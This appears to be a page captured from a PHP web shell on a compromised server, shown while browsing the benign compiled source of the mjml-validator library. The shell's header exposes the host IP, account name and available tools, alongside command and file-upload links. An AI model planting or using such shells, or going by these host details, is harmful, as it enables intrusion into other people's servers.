Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/mjml-validator/lib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
"use strict"; var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard").default; var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault").default; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = MJMLValidator; Object.defineProperty(exports, "rulesCollection", { enumerable: true, get: function () { return _MJMLRulesCollection.default; } }); Object.defineProperty(exports, "registerRule", { enumerable: true, get: function () { return _MJMLRulesCollection.registerRule; } }); Object.defineProperty(exports, "dependencies", { enumerable: true, get: function () { return _dependencies.default; } }); Object.defineProperty(exports, "registerDependencies", { enumerable: true, get: function () { return _dependencies.registerDependencies; } }); Object.defineProperty(exports, "assignDependencies", { enumerable: true, get: function () { return _dependencies.assignDependencies; } }); exports.formatValidationError = void 0; var _ruleError = _interopRequireDefault(require("./rules/ruleError")); var _MJMLRulesCollection = _interopRequireWildcard(require("./MJMLRulesCollection")); var _dependencies = _interopRequireWildcard(require("./dependencies")); const SKIP_ELEMENTS = ['mjml']; const formatValidationError = _ruleError.default; exports.formatValidationError = formatValidationError; function MJMLValidator(element, options = {}) { const { children, tagName } = element; const errors = []; const skipElements = options.skipElements || SKIP_ELEMENTS; if (options.dependencies == null) { console.warn('"dependencies" option should be provided to mjml validator'); } if (!skipElements.includes(tagName)) { for (const rule of Object.values(_MJMLRulesCollection.default)) { const ruleError = rule(element, { dependencies: _dependencies.default, skipElements, ...options }); if (Array.isArray(ruleError)) { errors.push(...ruleError); } else if (ruleError) { errors.push(ruleError); } } } if (children && children.length > 0) { for (const child of children) { errors.push(...MJMLValidator(child, options)); } } return errors; }